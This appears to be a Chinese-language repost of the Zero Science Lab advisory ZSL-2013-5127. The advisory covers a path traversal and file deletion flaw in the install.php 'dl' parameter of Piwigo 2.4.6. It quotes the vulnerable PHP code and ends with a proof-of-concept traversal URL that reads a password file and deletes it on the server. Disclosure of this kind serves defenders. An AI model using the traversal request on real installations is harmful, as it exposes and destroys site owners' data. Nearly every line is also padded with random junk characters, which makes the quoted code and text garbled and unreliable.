Piwigo是用PHP编写的相册脚本。
0 r( {/ g& B% t2 G ~" ^5 c# x7 Q+ B, J0 b7 ~. r9 g! @7 i& t
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
: }* I! i8 W; h' M3 y% K====================================================================
6 b6 l7 C" h0 j8 B/install.php:: |4 B" _. Z0 d4 s
-------------
1 \3 G9 r5 n8 U# t113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'])), u, u# P0 m* z) B1 C! j9 P
114: {' t2 h t2 z4 K/ H; ~
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']; e7 Y9 z- U. P
116: header('Cache-Control: no-cache, must-revalidate');
4 p5 C6 Q' J' \! I+ D8 ?117: header('Pragma: no-cache');
7 |- P5 n6 E9 r. w! T. I, j! v: |118: header('Content-Disposition: attachment; filename="database.inc.php"');1 C9 v7 ]! B9 F; Q$ K
119: header('Content-Transfer-Encoding: binary');7 K( U# D4 x; ?! R7 l( b5 L0 A
120: header('Content-Length: '.filesize($filename));
0 N2 r3 j; Z) b0 i% K$ ^' u121: echo file_get_contents($filename);
& }9 V3 x; j$ ?, n# K122: unlink($filename);
9 G; v. |* }7 Z# p1 @7 U123: exit();$ h x; e! C4 `* b( J4 Z( e
124: }: Y0 F- Y% b" A9 O0 \
====================================================================4 U6 }7 j+ X! r* Q% O" c6 h2 I
1 `; ]0 p. I% F) i9 }8 ~; \Tested on: Microsoft Windows 7 Ultimate SP1 (EN)' \9 e5 e5 I7 }# Y ]
Apache 2.4.2 (Win32)) p6 x! l9 D6 Y, k: j' t
PHP 5.4.40 J$ j2 i. m }1 H7 G
MySQL 5.5.25a0 X) m' v N% u& I: J9 u1 {2 d' I+ I; }
3 q' a) A6 _2 `% Z4 P! W. m
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic' y* P1 A0 @7 L0 r6 Z
@zeroscience
) P1 U/ ~* a3 t+ v6 f
- x- u4 q9 ] a: uAdvisory ID: ZSL-2013-5127* P6 \6 P* J$ h5 x
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php5 l f+ a# j# V' w* \) x/ D6 v
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843; Y6 d. @# O- M
% b- l( p1 G7 |( n15.02.2013+ _. Y! r9 D' Z# z6 ?0 c% C
' x- i7 C) S/ u9 v- L
--
: D, s& a/ x/ i' |5 z0 @! T- ihttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
& X* y- Z$ x/ h' ?2 ~7 |) b
+ `' [" p+ g J, \4 }) x% v |